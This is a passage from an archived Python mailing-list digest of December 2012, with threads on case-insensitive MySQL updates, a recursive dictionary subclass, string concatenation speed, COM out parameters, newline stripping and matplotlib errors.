way to compare a field in mysql as lower() somehow? I have a situation where I compare the SKU in my DB and there are some SKU that are with lowercase and some with uppercase, how can I solve this in your opinion ? def Update_SQL(price, sku): db = MySQLdb.connect("localhost","getit","opencart", use_unicode=True, charset="utf8") cursor = db.cursor() sql = "UPDATE product SET price=%s WHERE sku=%s" cursor.execute(sql, (price, sku)) db.commit() db.close() Thanks From dave at cinege.com Tue Dec 11 16:08:34 2012 From: dave at cinege.com (Dave Cinege) Date: Tue, 11 Dec 2012 16:08:34 -0500 Subject: ANNOUNCE: Thesaurus - a recursive dictionary subclass using attributes In-Reply-To: <50c6eae2$0$21722$c3e8da3$76491128@news.astraweb.com> References: <50c6eae2$0$21722$c3e8da3$76491128@news.astraweb.com> Message-ID: <201212111608.35020.dave@cinege.com> On Tuesday 11 December 2012 03:12:19 Steven D'Aprano wrote: > Is this intended as a ready-for-production class? For me, yes. In production code. > py> d = Thesaurus() > py> d['spam'] = {} Maybe because spam is type dict instead of type thes??? >>> import thesaurus >>> thes = thesaurus.Thesaurus >>> t = thes() >>> t.spam = thes() >>> t.spam.ham = 'cheese' >>> print t.spam.ham >cheese >>> print t['spam'].ham >cheese >>> print t['spam']['ham'] >cheese >>> '%(spam.ham)s' % t >'cheese' Works for me! Remainder of your post, not productive, not worth my time. Dave From aclark at aclark.net Tue Dec 11 16:23:14 2012 From: aclark at aclark.net (Alex Clark) Date: Tue, 11 Dec 2012 16:23:14 -0500 Subject: The Zen of Zope, by Alex Clark References: <50c563e0$0$21722$c3e8da3$76491128@news.astraweb.com> Message-ID: On 2012-12-11 21:01:03 +0000, Gregory Ewing said: > Steven D'Aprano wrote: >> On Sun, 09 Dec 2012 20:13:43 -0500, Alex Clark wrote: > > >>> The Zen of Zope, by Alex Clark >> >> I expect that I would find that hilarious if I knew anything about Zope :) > > It's probably a good thing I don't know much about Zope, > because I'm already finding it hilarious. If I knew more, > the hilarity level might become physically dangerous. Well, the point is two-fold: - Provide comic relief for those who have encountered unexpected complexity in Zope. - Showcase Zope's strengths for those who may be unfamiliar with it. TL;DR: Zope has a lot to offer, and there are times when you may need its libraries to perform complex tasks. -- Alex Clark ? https://www.gittip.com/aclark4life/ From timothy.c.delaney at gmail.com Tue Dec 11 16:34:46 2012 From: timothy.c.delaney at gmail.com (Tim Delaney) Date: Wed, 12 Dec 2012 08:34:46 +1100 Subject: String manipulation in python..NEED HELP!!!! In-Reply-To: References: Message-ID: On 12 December 2012 07:52, Ross Ridge wrote: > John Gordon wrote: > > def encode(plain): > > '''Return a substituted version of the plain text.''' > > encoded = '' > > for ch in plain: > > encoded += key[alpha.index(ch)] > > return encoded > > Terry Reedy wrote: > >The turns an O(n) problem into a slow O(n*n) solution. Much better to > >build a list of chars and then join them. > > There have been much better suggestions in this thread, but John Gordon's > code above is faster than the equivilent list and join implementation > with Python 2.6 and Python 3.1 (the newest versions I have handy). > CPython optimized this case of string concatenation into O(n) back in > Python 2.4. > >From "What's New in Python 2.4": http://docs.python.org/release/2.4.4/whatsnew/node12.html#SECTION0001210000000000000000 String concatenations in statements of the form s = s + "abc" and s += "abc" are now performed more efficiently *in certain circumstances*. This optimization *won't be present in other Python implementations such as Jython*, so you shouldn't rely on it; using the join() method of strings is still recommended when you want to efficiently glue a large number of strings together. Emphasis mine. The optimisation was added to improve the situation for programs that were already using the anti-pattern of string concatenation, not to encourage people to use it. As a real-world case, a bug was recently found in Mercurial where an operation on Windows was taking orders of magnitudes longer than on Linux due to use of string concatenation rather than the join idiom (from ~12 seconds spent on string concatenation to effectively zero). Tim Delaney -------------- next part -------------- An HTML attachment was scrubbed... URL: From ian.g.kelly at gmail.com Tue Dec 11 16:53:12 2012 From: ian.g.kelly at gmail.com (Ian Kelly) Date: Tue, 11 Dec 2012 14:53:12 -0700 Subject: ANNOUNCE: Thesaurus - a recursive dictionary subclass using attributes In-Reply-To: <201212111557.24851.dave@linkscape.net> References: <201212102248.50766.dave@cinege.com> <201212111557.24851.dave@linkscape.net> Message-ID: On Tue, Dec 11, 2012 at 1:57 PM, Dave Cinege wrote: > On Tuesday 11 December 2012 01:41:38 Ian Kelly wrote: >> Second, in __getitem__ you start a loop with "for i in >> range(len(l)):", and then you use i as an index into l several times. >> It would be cleaner and more Pythonic to do "for i, part in >> enumerate(l):", and then you can replace every occurrence of "l[i]" > > My python is still 'old school' due to being stuck on old versions for in > production embedded system python applications. Just out of curiosity, how old are we talking? enumerate was added in Python 2.3, which is nearly 10 years old. Prior to 2.2 I don't think it was even possible to subclass dict, which would make your Thesaurus implementation unusable, so are these systems running Python 2.2? >> It's not clear to me what the isinstance call here is meant to be >> testing for. > > It's used to determine if it's the root instance of the recursive string > because self.data, not self must be used to access that. Can you offer a better > way? > >> The prior statements require key to be a string. If key >> is a string, then by construction l[0] is also a string. So it seems >> to me that the isinstance check here will always be False. > > OK, try and remove it and then get back to me. :-) Okay. I replaced this code: if isinstance(l[0], (dict, Thesaurus)): a = self.data else: a = self with: a = self and then I ran the examples, and the output was unchanged. As Steven pointed out, I don't see how that first branch could succeed anyway, since self.data is never defined. From mhammond at skippinet.com.au Tue Dec 11 16:55:06 2012 From: mhammond at skippinet.com.au (Mark Hammond) Date: Wed, 12 Dec 2012 08:55:06 +1100 Subject: accessing an OLE Automation (IDispatch) server from python which requires the use of "out params" In-Reply-To: <5b228557-2788-4243-b840-5c8aa03d5423@googlegroups.com> References: <38a14001-82b6-4a91-b3ad-2cb5c8ee580d@googlegroups.com> <5b228557-2788-4243-b840-5c8aa03d5423@googlegroups.com> Message-ID: <50C7ABBA.7040806@skippinet.com.au> On 12/12/2012 2:48 AM, bitbucket wrote: > On Monday, December 10, 2012 8:16:43 PM UTC-5, Mark Hammond wrote: >> "out" params are best supported if the object supplied a typelib - >> then Python knows the params are out and does the right thing >> automagically. If out params are detected, the result of the >> function will be a tuple of (real_result, out_param1, ...) >> >> Even if no typelib is supported, you can access them with a little >> pain via the win32com.client.Dispatch() object. You might like to >> follow up to the python-win32 at python.org mailing list where many >> people will be able to help. >> >> HTH, >> >> Mark > > Mark, thanks for the reply. In this case, I have a type library and > attempted to use MakePy but it doesn't seem to be working as > expected. > > I was reading through CH12 of your Python Programming on Win32 book > (http://oreilly.com/catalog/pythonwin32/chapter/ch12.html). I was > hopeful given your description of MakePy that I could get this to > work. It appears that you're saying MakePy will convert "byref" args > in a function over to return values. > > For example, the IDL in the server includes the following 3 > functions. > > [id(1)] void ShowMessage(BSTR msg); [id(2)] void GetSettingValue(BSTR > settingName, BSTR* settingValue); [id(3)] void SetSettingValue(BSTR > settingName, BSTR settingValue); > > The thorny one is the GetSettingValue since it takes the out param. > When I run MakePy, it generates the below. > > def ShowMessage(self, msg=defaultNamedNotOptArg): return > self._oleobj_.InvokeTypes(1, LCID, 1, (24, 0), ((8, 0),),msg ) > > def GetSettingValue(self, settingName=defaultNamedNotOptArg, > settingValue=defaultNamedNotOptArg): return > self._oleobj_.InvokeTypes(2, LCID, 1, (24, 0), ((8, 0), (16392, > 0)),settingName , settingValue) > > def SetSettingValue(self, settingName=defaultNamedNotOptArg, > settingValue=defaultNamedNotOptArg): return > self._oleobj_.InvokeTypes(3, LCID, 1, (24, 0), ((8, 0), (8, > 0)),settingName , settingValue) > > I noticed that the argument type is different for the out param > (16392 instead of 8). However, it doesn't appear to me that its > generating return values instead of args (though I'm not very > experienced in python). > > I tried invoking these in python. The ShowMessage and > SetSettingValue work great. I can't get the GetSettingValue to work > though. Perhaps there's a different syntax I need when using the > MakePy generated code? Seeing the "real" return value is void, it should just be a matter of: settingValue = ob.GetSettingValue("settingName") Mark > From gordon at panix.com Tue Dec 11 17:15:36 2012 From: gordon at panix.com (John Gordon) Date: Tue, 11 Dec 2012 22:15:36 +0000 (UTC) Subject: MySQLdb compare lower References: Message-ID: In Anatoli Hristov writes: > I have a situation where I compare the SKU in my DB and there are some > SKU that are with lowercase and some with uppercase, how can I solve > this in your opinion ? > def Update_SQL(price, sku): > db = MySQLdb.connect("localhost","getit","opencart", > use_unicode=True, charset="utf8") > cursor = db.cursor() > sql = "UPDATE product SET price=%s WHERE sku=%s" > cursor.execute(sql, (price, sku)) > db.commit() > db.close() I think this will work: sql = 'UPDATE product SET price=%s WHERE LOWER(sku)=%s' cursor.execute(sql, (price, sku.lower()) -- John Gordon A is for Amy, who fell down the stairs gordon at panix.com B is for Basil, assaulted by bears -- Edward Gorey, "The Gashlycrumb Tinies" From ian.g.kelly at gmail.com Tue Dec 11 17:20:09 2012 From: ian.g.kelly at gmail.com (Ian Kelly) Date: Tue, 11 Dec 2012 15:20:09 -0700 Subject: ANNOUNCE: Thesaurus - a recursive dictionary subclass using attributes In-Reply-To: References: <201212102248.50766.dave@cinege.com> <201212111557.24851.dave@linkscape.net> Message-ID: On Tue, Dec 11, 2012 at 2:53 PM, Ian Kelly wrote: > and then I ran the examples, and the output was unchanged. As Steven > pointed out, I don't see how that first branch could succeed anyway, > since self.data is never defined. It occurs to me that the UserDict class does have a data attribute. Perhaps there was another version of Thesaurus that inherited from UserDict instead of dict, and so the access to .data is a holdover from legacy code? From ppearson at nowhere.invalid Tue Dec 11 17:21:18 2012 From: ppearson at nowhere.invalid (Peter Pearson) Date: 11 Dec 2012 22:21:18 GMT Subject: String manipulation in python..NEED HELP!!!! References: <50c761c6$0$12435$a8266bb1@newsreader.readnews.com> Message-ID: On Tue, 11 Dec 2012 16:39:27 +0000, duncan smith wrote: [snip] > >>> alpha = "ABCDEFGHIJKLMNOPQRSTUVWXYZ" > >>> key = "XPMGTDHLYONZBWEARKJUFSCIQV" > >>> mapping = {} > >>> for i, ch in enumerate(alpha): > mapping[ch] = key[i] mapping = dict(zip(alpha, key)) -- To email me, substitute nowhere->spamcop, invalid->net. From miguelcoam at gmail.com Tue Dec 11 17:31:13 2012 From: miguelcoam at gmail.com (Mike) Date: Tue, 11 Dec 2012 14:31:13 -0800 (PST) Subject: Problem with print and output to screen Message-ID: <37e2ba70-a709-4888-9672-be30956d690d@googlegroups.com> Hello, I am learning python and i have the next problem and i not understand how fix. The script is very simple, shows in the terminal the command but, the row is divided in two: Example: /opt/zimbra/bin/zmprov ga user at example.com |egrep "(zimbraPrefMailForwardingAddress:|zimbraPrefMailForwardingAddress:)" /opt/zimbra/bin/zmprov ga user2 at example.com |egrep "(zimbraPrefMailForwardingAddress:|zimbraPrefMailForwardingAddress:)" And the correct is: /opt/zimbra/bin/zmprov ga user at example.com |egrep "(zimbraPrefMailForwardingAddress:|zimbraPrefMailForwardingAddress:)" The script is: #!/usr/bin/python import os for user in open ("email"): print '/opt/zimbra/bin/zmprov ga ' + user + '|egrep "(zimbraPrefMailForwardingAddress:|zimbraPrefMailForwardingAddress:)" ' Thanks From cs at zip.com.au Tue Dec 11 17:31:22 2012 From: cs at zip.com.au (Cameron Simpson) Date: Wed, 12 Dec 2012 09:31:22 +1100 Subject: ANNOUNCE: Thesaurus - a recursive dictionary subclass using attributes In-Reply-To: <201212111557.24851.dave@linkscape.net> References: <201212111557.24851.dave@linkscape.net> Message-ID: <20121211223121.GA17877@cskk.homeip.net> On 11Dec2012 15:57, Dave Cinege wrote: | On Tuesday 11 December 2012 01:41:38 Ian Kelly wrote: | > running into bugs like this: | > >>> thes = Thesaurus() | > >>> thes.update = 'now' | > >>> thes.update | > | > | | I've noticed this but it's mostly pointless, as meaningful code does work. | (Also you stepped on the existing 'update()' dictionary method.) I think that was a deliberate choice of name by Ian. I've got a class like Thesaurus that subclasses dict and maps attributes to dictionary elements (with a few special purpose tweaks I could go into if anyone cares). I made a deliberate decision to only map UPPERCASE attributes to dict keys to avoid exactly the kind of conflict above, because: thes.update = 'now' must either trash the dict.update method _or_ fail to present .update as 'now'. Both have their downsides. So at the cost of shoutier but still effective code I accepted only .UPPERCASE attribute names as mapping to keys. This compromise also makes subclassing much easier, because the subclasser is free to use conventional lowercase attribute names. Cheers, -- Cameron Simpson Thousands at his bidding speed, And post o'er land and ocean without rest - Milton From dave at cinege.com Tue Dec 11 17:39:12 2012 From: dave at cinege.com (Dave Cinege) Date: Tue, 11 Dec 2012 17:39:12 -0500 Subject: ANNOUNCE: Thesaurus - a recursive dictionary subclass using attributes In-Reply-To: References: <201212102248.50766.dave@cinege.com> <201212111557.24851.dave@linkscape.net> Message-ID: <201212111739.12794.dave@cinege.com> On Tuesday 11 December 2012 16:53:12 Ian Kelly wrote: > Just out of curiosity, how old are we talking? enumerate was added in > Python 2.3, which is nearly 10 years old. Prior to 2.2 I don't think > it was even possible to subclass dict, which would make your Thesaurus > implementation unusable, so are these systems running Python 2.2? I'm finally beyond 2.2 and getting rid of 2.4 soon. Just started using 2.6 5 months ago. Thesaurus initially came about from me doing this: class Global: pass g = Global() As a way to organize/consolidate global vars and eliminate the global statement. After a brain fart one day I expanded this to some simple recursion and felt I was onto something as my entire life changed with how easy it now was to build output strings. As you noted it was not possible to subclass dict, so I first tried with a class, and you run into recursion hell with __setatrib__ to which i think there is no fix. I then made a UserDict version. Then when I moved mostly to 2.6 I could do a proper dict subclass. So I believe you're actually correct here.... if isinstance(l[0], (dict, Thesaurus)): a = self.data Looks like an artifact from my UserDict version and was needed. :-( class UserDict: def __init__(self, dict=None, **kwargs): self.data = {} Thanks for this. You'll see from the version number I wrote this 3 months ago so it's not 100% fresh in my mind. I'm releasing it now because a python coder I contracted to pick up some slack for me saw this and went ape at how much he liked it...and that prompted me to finally get it out into the wild. As for in depth discussion and enhancement to this, I lack the time. Dave From tolidtm at gmail.com Tue Dec 11 17:39:42 2012 From: tolidtm at gmail.com (Anatoli Hristov) Date: Tue, 11 Dec 2012 23:39:42 +0100 Subject: MySQLdb compare lower In-Reply-To: References: Message-ID: > I think this will work: > > sql = 'UPDATE product SET price=%s WHERE LOWER(sku)=%s' > cursor.execute(sql, (price, sku.lower()) > Thanks John, this works, I was about to make double check with lower and upper, but this saves me :) Thanks a lot. From cs at zip.com.au Tue Dec 11 17:43:00 2012 From: cs at zip.com.au (Cameron Simpson) Date: Wed, 12 Dec 2012 09:43:00 +1100 Subject: MySQLdb compare lower In-Reply-To: References: Message-ID: <20121211224300.GA18804@cskk.homeip.net> On 11Dec2012 22:01, Anatoli Hristov wrote: | Excuse me for the noob question, but is there a way to compare a field | in mysql as lower() somehow? | | I have a situation where I compare the SKU in my DB and there are some | SKU that are with lowercase and some with uppercase, how can I solve | this in your opinion ? | | def Update_SQL(price, sku): | | db = MySQLdb.connect("localhost","getit","opencart", | use_unicode=True, charset="utf8") | cursor = db.cursor() | sql = "UPDATE product SET price=%s WHERE sku=%s" | cursor.execute(sql, (price, sku)) | db.commit() | db.close() Let the db do the work. Untested example: sql = "UPDATE product SET price=%s WHERE LOWER(sku)=LOWER(%s)" See: http://dev.mysql.com/doc/refman/5.0/en/string-functions.html However I would point out that this form of the SQL requires a scan of the whole db table per update. The plain test against "sku" instead of "LOWER(sku)" lets the db use an index on "sku" to access the relevant row directly; MUCH more efficient (if you've got an index on "sku", of course). You can only run with the first, efficient, form if the sku values in the db are normalised. For example, all upper case or all lower case. Supposing that your sku has been normalised to all lower case (i.e. the data entry phase converts skus to lowercase when inserting data into the db), then you can write: sql = "UPDATE product SET price=%s WHERE sku=LOWER(%s)" which can use the index on "sku" - efficient. Here's you're normalising the test value (the %s part) to match the db content, which should alreay be lowercase. _If_ you know SKUs can always be normalised to lower case (or upper case, your call provided it is consistent), you can normalise the values in the db if they've been put in unnormalised. And then get on with your life as above. Cheers, -- Cameron Simpson Hal, open the file Hal, open the damn file, Hal open the, please Hal - Haiku Error Messages http://www.salonmagazine.com/21st/chal/1998/02/10chal2.html From d at davea.name Tue Dec 11 17:48:09 2012 From: d at davea.name (Dave Angel) Date: Tue, 11 Dec 2012 17:48:09 -0500 Subject: Problem with print and output to screen In-Reply-To: <37e2ba70-a709-4888-9672-be30956d690d@googlegroups.com> References: <37e2ba70-a709-4888-9672-be30956d690d@googlegroups.com> Message-ID: <50C7B829.3020904@davea.name> On 12/11/2012 05:31 PM, Mike wrote: > Hello, I am learning python and i have the next problem and i not understand how fix. > The script is very simple, shows in the terminal the command but, the row is divided in two: > Example: > > > /opt/zimbra/bin/zmprov ga user at example.com > |egrep "(zimbraPrefMailForwardingAddress:|zimbraPrefMailForwardingAddress:)" > /opt/zimbra/bin/zmprov ga user2 at example.com > |egrep "(zimbraPrefMailForwardingAddress:|zimbraPrefMailForwardingAddress:)" > > And the correct is: > /opt/zimbra/bin/zmprov ga user at example.com |egrep "(zimbraPrefMailForwardingAddress:|zimbraPrefMailForwardingAddress:)" > > > The script is: > > #!/usr/bin/python > import os > > for user in open ("email"): > print '/opt/zimbra/bin/zmprov ga ' + user + '|egrep "(zimbraPrefMailForwardingAddress:|zimbraPrefMailForwardingAddress:)" ' > > > I'll assume that 'email' is a file in the current working directory. So when you open it and iterate through it, each line will be stored in 'user', including its trailing newline. When you print 'user', you're seeing the newline. To see for yourself, you could/should have used (just before your print statement) print repr(user) which will show such things as escape sequences. Anyway, the easiest way to fix it would be to use rstrip() on the line. for user in open("email"): user = user.rstrip() print '/opt/... That's assuming there's no trailing whitespace that you DO want to preserve. -- DaveA From joel.goldstick at gmail.com Tue Dec 11 17:53:37 2012 From: joel.goldstick at gmail.com (Joel Goldstick) Date: Tue, 11 Dec 2012 17:53:37 -0500 Subject: Problem with print and output to screen In-Reply-To: <37e2ba70-a709-4888-9672-be30956d690d@googlegroups.com> References: <37e2ba70-a709-4888-9672-be30956d690d@googlegroups.com> Message-ID: When you read the file line by line the end of line character is included in the result try user[:-1] instead to strip the return from your printed text On Tue, Dec 11, 2012 at 5:31 PM, Mike wrote: > Hello, I am learning python and i have the next problem and i not > understand how fix. > The script is very simple, shows in the terminal the command but, the row > is divided in two: > Example: > > > /opt/zimbra/bin/zmprov ga user at example.com > |egrep > "(zimbraPrefMailForwardingAddress:|zimbraPrefMailForwardingAddress:)" > /opt/zimbra/bin/zmprov ga user2 at example.com > |egrep > "(zimbraPrefMailForwardingAddress:|zimbraPrefMailForwardingAddress:)" > > And the correct is: > /opt/zimbra/bin/zmprov ga user at example.com |egrep > "(zimbraPrefMailForwardingAddress:|zimbraPrefMailForwardingAddress:)" > > > The script is: > > #!/usr/bin/python > import os > > for user in open ("email"): > print '/opt/zimbra/bin/zmprov ga ' + user + '|egrep > "(zimbraPrefMailForwardingAddress:|zimbraPrefMailForwardingAddress:)" ' > > > > Thanks > -- > http://mail.python.org/mailman/listinfo/python-list > -- Joel Goldstick -------------- next part -------------- An HTML attachment was scrubbed... URL: From d at davea.name Tue Dec 11 18:00:48 2012 From: d at davea.name (Dave Angel) Date: Tue, 11 Dec 2012 18:00:48 -0500 Subject: Problem with print and output to screen In-Reply-To: References: <37e2ba70-a709-4888-9672-be30956d690d@googlegroups.com> Message-ID: <50C7BB20.2020701@davea.name> On 12/11/2012 05:53 PM, Joel Goldstick wrote: > When you read the file line by line the end of line character is included > in the result > > try user[:-1] instead to strip the return from your printed text > The catch to that is the last line in the file might not have a newline. In that case, we'd be ignoring the last character of the line. The .rstrip() method is easy, and for most purposes equivalent. Few text files have trailing whitespace, but many are missing the final linefeed. -- DaveA From joel.goldstick at gmail.com Tue Dec 11 18:07:09 2012 From: joel.goldstick at gmail.com (Joel Goldstick) Date: Tue, 11 Dec 2012 18:07:09 -0500 Subject: Problem with print and output to screen In-Reply-To: <50C7BB20.2020701@davea.name> References: <37e2ba70-a709-4888-9672-be30956d690d@googlegroups.com> <50C7BB20.2020701@davea.name> Message-ID: On Tue, Dec 11, 2012 at 6:00 PM, Dave Angel wrote: > On 12/11/2012 05:53 PM, Joel Goldstick wrote: > > When you read the file line by line the end of line character is included > > in the result > > > > try user[:-1] instead to strip the return from your printed text > > > > The catch to that is the last line in the file might not have a > newline. In that case, we'd be ignoring the last character of the line. > > The .rstrip() method is easy, and for most purposes equivalent. Few > text files have trailing whitespace, but many are missing the final > linefeed. > > Point taken. Brain freeze. I forgot about .rstrip. That is the way to go > > -- > > DaveA > > -- Joel Goldstick -------------- next part -------------- An HTML attachment was scrubbed... URL: From dave at cinege.com Tue Dec 11 18:10:08 2012 From: dave at cinege.com (Dave Cinege) Date: Tue, 11 Dec 2012 18:10:08 -0500 Subject: ANNOUNCE: Thesaurus - a recursive dictionary subclass using attributes In-Reply-To: <201212111739.12794.dave@cinege.com> References: <201212102248.50766.dave@cinege.com> <201212111739.12794.dave@cinege.com> Message-ID: <201212111810.08249.dave@cinege.com> On Tuesday 11 December 2012 17:39:12 Dave Cinege wrote: My memory is getting jogged more why did some things: raise KeyError(key + ' [%s]' % i) I did this to specificly give you the indice that failed recursion but provide the entire key name as it was provided to __getitem__ So if: g.cfg.host.cpu fails recursion on 'host' you will see: g.cfg.host.cpu [2] I know my code sent g.cfg.host.cpu. I know host failed. if It was g.cfg.host.host, I'd know which host failed. Makes sense to me. Works for me. Sure there are other ways to do it. From andrea.crotti.0 at gmail.com Tue Dec 11 19:02:57 2012 From: andrea.crotti.0 at gmail.com (andrea crotti) Date: Wed, 12 Dec 2012 00:02:57 +0000 Subject: forking and avoiding zombies! In-Reply-To: References: <50C6153F.8050205@gmail.com> <50C7282B.8000708@gmail.com> <50C7365F.20908@gmail.com> Message-ID: 2012/12/11 Dennis Lee Bieber : > On Tue, 11 Dec 2012 10:34:23 -0300, peter declaimed > the following in gmane.comp.python.general: > >> >> stderrfile = '%s/error.log' % os.getcwd() >> stdoutfile = '%s/out.log' % os.getcwd() >> > Ouch... > > stdoutfile = os.path.join(os.getcwd(), "out.log") > > minimizes any OS specific quirks in path naming... > -- > Wulfraed Dennis Lee Bieber AF6VN > wlfraed at ix.netcom.com HTTP://wlfraed.home.netcom.com/ > > -- > http://mail.python.org/mailman/listinfo/python-list Good point yes, but in this case fork doesn't work on Windows anyway so it's not really an issue.. From oscar.j.benjamin at gmail.com Tue Dec 11 19:10:33 2012 From: oscar.j.benjamin at gmail.com (Oscar Benjamin) Date: Wed, 12 Dec 2012 00:10:33 +0000 Subject: Matplotlib/Pylab Error In-Reply-To: <53ef294d-e46a-4734-9227-1ca766e056ae@googlegroups.com> References: <53ef294d-e46a-4734-9227-1ca766e056ae@googlegroups.com> Message-ID: On 10 December 2012 20:40, wrote: > Dear Group, > > I am trying to enumerate few interesting errors on pylab/matplotlib. > If any of the learned members can kindly let me know how should I address them. > > I am trying to enumerate them as follows. > > i) >>> import numpy >>>> import pylab >>>> t = numpy.arange(0.0, 1.0+0.01, 0.01) >>>> s = numpy.cos(2*2*numpy.pi*t) >>>> pylab.plot(t, s) > [] >>>> pylab.show() > Exception in Tkinter callback > Traceback (most recent call last): > File "C:\Python26\lib\lib-tk\Tkinter.py", line 1410, in __call__ > return self.func(*args) > File "C:\Python26\Lib\site-packages\matplotlib\backends\backend_tkagg.py", line 236, in resize > self.show() > File "C:\Python26\Lib\site-packages\matplotlib\backends\backend_tkagg.py", line 239, in draw > FigureCanvasAgg.draw(self) > File "C:\Python26\Lib\site-packages\matplotlib\backends\backend_agg.py", line 421, in draw > self.figure.draw(self.renderer) > File "C:\Python26\Lib\site-packages\matplotlib\artist.py", line 55, in draw_wrapper > draw(artist, renderer, *args, **kwargs) > File "C:\Python26\Lib\site-packages\matplotlib\figure.py", line 898, in draw > func(*args) > File "C:\Python26\Lib\site-packages\matplotlib\artist.py", line 55, in draw_wrapper > draw(artist, renderer, *args, **kwargs) > File "C:\Python26\Lib\site-packages\matplotlib\axes.py", line 1997, in draw > a.draw(renderer) > File "C:\Python26\Lib\site-packages\matplotlib\artist.py", line 55, in draw_wrapper > draw(artist, renderer, *args, **kwargs) > File "C:\Python26\Lib\site-packages\matplotlib\axis.py", line 1045, in draw > tick.draw(renderer) > File "C:\Python26\Lib\site-packages\matplotlib\artist.py", line 55, in draw_wrapper > draw(artist, renderer, *args, **kwargs) > File "C:\Python26\Lib\site-packages\matplotlib\axis.py", line 239, in draw > self.label1.draw(renderer) > File "C:\Python26\Lib\site-packages\matplotlib\artist.py", line 55, in draw_wrapper > draw(artist, renderer, *args, **kwargs) > File "C:\Python26\Lib\site-packages\matplotlib\text.py", line 591, in draw > ismath=ismath) > File "C:\Python26\Lib\site-packages\matplotlib\backends\backend_agg.py", line 167, in draw_text > font.draw_glyphs_to_bitmap(antialiased=rcParams['text.antialiased']) > TypeError: draw_glyphs_to_bitmap() takes no keyword arguments > > ii) Python 2.6.1 (r261:67517, Dec 4 2008, 16:51:00) [MSC v.1500 32 bit (Intel)] on win32 > Type "copyright", "credits" or "license()" for more information. > The example above works for me just fine (in ipython): In [1]: import pylab In [2]: import numpy In [3]: t = numpy.arange(0.0, 1.0+0.01, 0.01) In [4]: s = numpy.cos(2*2*numpy.pi*t) In [5]: pylab.plot(t, s) Out[5]: [] In [6]: pylab.show() # At this point a plot of cos(t) appears as expected Have you customised your matplotlibrc file? I have no problems with the above, > > IDLE 2.6.1 >>>> import networkx as nx Sorry, I don't have this module installed. Oscar From wuwei23 at gmail.com Tue Dec 11 19:36:29 2012 From: wuwei23 at gmail.com (alex23) Date: Tue, 11 Dec 2012 16:36:29 -0800 (PST) Subject: The Zen of Zope, by Alex Clark References: <50c563e0$0$21722$c3e8da3$76491128@news.astraweb.com> Message-ID: <1f1ef8e3-5838-48cd-ad8e-8748a20e5e7a@q5g2000pbk.googlegroups.com> On Dec 12, 7:23?am, Alex Clark wrote: > TL;DR: Zope has a lot to offer, and there are times when you may need > its libraries to perform complex tasks. I always avoided Zope as I kept hearing "there's the Python way and then there's the Zope way", however, all that did is lead me to avoid a framework representing almost 15 years worth of experience. Having now been exposed to it through Plone, I'm finding a lot there to like, like zope.interface. From miguelcoam at gmail.com Tue Dec 11 19:44:38 2012 From: miguelcoam at gmail.com (Mike) Date: Tue, 11 Dec 2012 16:44:38 -0800 (PST) Subject: Problem with print and output to screen In-Reply-To: References: <37e2ba70-a709-4888-9672-be30956d690d@googlegroups.com> <50C7BB20.2020701@davea.name> Message-ID: El martes, 11 de diciembre de 2012 20:07:09 UTC-3, Joel Goldstick escribi?: > On Tue, Dec 11, 2012 at 6:00 PM, Dave Angel wrote: > > > On 12/11/2012 05:53 PM, Joel Goldstick wrote: > > > When you read the file line by line the end of line character is included > > > in the result > > > > > > try user[:-1] instead to strip the return from your printed text > > > > > > > The catch to that is the last line in the file might not have a > > newline. ?In that case, we'd be ignoring the last character of the line. > > > > The .rstrip() method is easy, and for most purposes equivalent. ?Few > > text files have trailing whitespace, but many are missing the final > > linefeed. > > > > Point taken.? Brain freeze.? I forgot about .rstrip.? That is the way to go > > > > -- > > > > DaveA > > > > > > > -- > Joel Goldstick Thank you very much, i used "user.rstrip" and the output is correct . Best Regards! From miguelcoam at gmail.com Tue Dec 11 19:44:38 2012 From: miguelcoam at gmail.com (Mike) Date: Tue, 11 Dec 2012 16:44:38 -0800 (PST) Subject: Problem with print and output to screen In-Reply-To: References: <37e2ba70-a709-4888-9672-be30956d690d@googlegroups.com> <50C7BB20.2020701@davea.name> Message-ID: El martes, 11 de diciembre de 2012 20:07:09 UTC-3, Joel Goldstick escribi?: > On Tue, Dec 11, 2012 at 6:00 PM, Dave Angel wrote: > > > On 12/11/2012 05:53 PM, Joel Goldstick wrote: > > > When you read the file line by line the end of line character is included > > > in the result > > > > > > try user[:-1] instead to strip the return from your printed text > > > > > > > The catch to that is the last line in the file might not have a > > newline. ?In that case, we'd be ignoring the last character of the line. > > > > The .rstrip() method is easy, and for most purposes equivalent. ?Few > > text files have trailing whitespace, but many are missing the final > > linefeed. > > > > Point taken.? Brain freeze.? I forgot about .rstrip.? That is the way to go > > > > -- > > > > DaveA > > > > > > > -- > Joel Goldstick Thank you very much, i used "user.rstrip" and the output is correct . Best Regards! From malaclypse2 at gmail.com Tue Dec 11 19:49:26 2012 From: malaclypse2 at gmail.com (Jerry Hill) Date: Tue, 11 Dec 2012 19:49:26 -0500 Subject: problem with usbtmc-communication In-Reply-To: <50b9eb4f-f319-491d-894c-2a9386b6941a@x20g2000vbf.googlegroups.com> References: <05927d41-f73f-4fef-9a6d-4133e5c7d86a@n8g2000vbb.googlegroups.com> <0910382a-08df-4325-806f-a4c3cdf6bd7b@f17g2000vbz.googlegroups.com> <123edfab-b46a-4a47-8b73-3f47e807e074@c16g2000yqi.googlegroups.com> <01cdbc70-7e46-4225-9baa-b555619d1aa8@10g2000yqo.googlegroups.com> <99b04e06-734c-4702-bf74-855e28d8f633@x20g2000vbf.googlegroups.com> <50b9eb4f-f319-491d-894c-2a9386b6941a@x20g2000vbf.googlegroups.com> Message-ID: On Tue, Dec 11, 2012 at 1:58 AM, Jean Dubois wrote: > > I found examples in the usbtmc kernel driver documentation (the > examples there are given in C): > http://www.home.agilent.com/upload/cmc_upload/All/usbtmc.htm?&cc=BE&lc=dut Thanks for that link. I think it explains how the driver works pretty well. I haven't done any work with devices like this, but I see a few things in those docs that might help. In their example code, they open the device with: open(?/dev/usbtmc1?,O_RDWR); That's not exactly the same as what you've been doing. I would try opening the file this way in python: usb_device = open('/dev/usbtmc1', 'w+', buffering=0) That truncates the file after it opening it, and disables any buffering that might be going on. Then, I would try writing to the device with usb_device.write() and usb_device.read(). read() attempts to read to end-of-file, and based on the docs, the driver will work okay that way. Doing that, along with turning off buffering when you open the file, should eliminate any issues with the driver failing to emit newlines someplace. Personally, I would probably try playing with the device from python's interactive interpreter. I think that could shed a lot of light on the behavior you're seeing. -- Jerry From msirenef at lightbird.net Tue Dec 11 19:53:25 2012 From: msirenef at lightbird.net (Mitya Sirenef) Date: Tue, 11 Dec 2012 19:53:25 -0500 Subject: ANNOUNCE: Thesaurus - a recursive dictionary subclass using attributes In-Reply-To: <201212111739.12794.dave@cinege.com> References: <201212102248.50766.dave@cinege.com> <201212111557.24851.dave@linkscape.net> 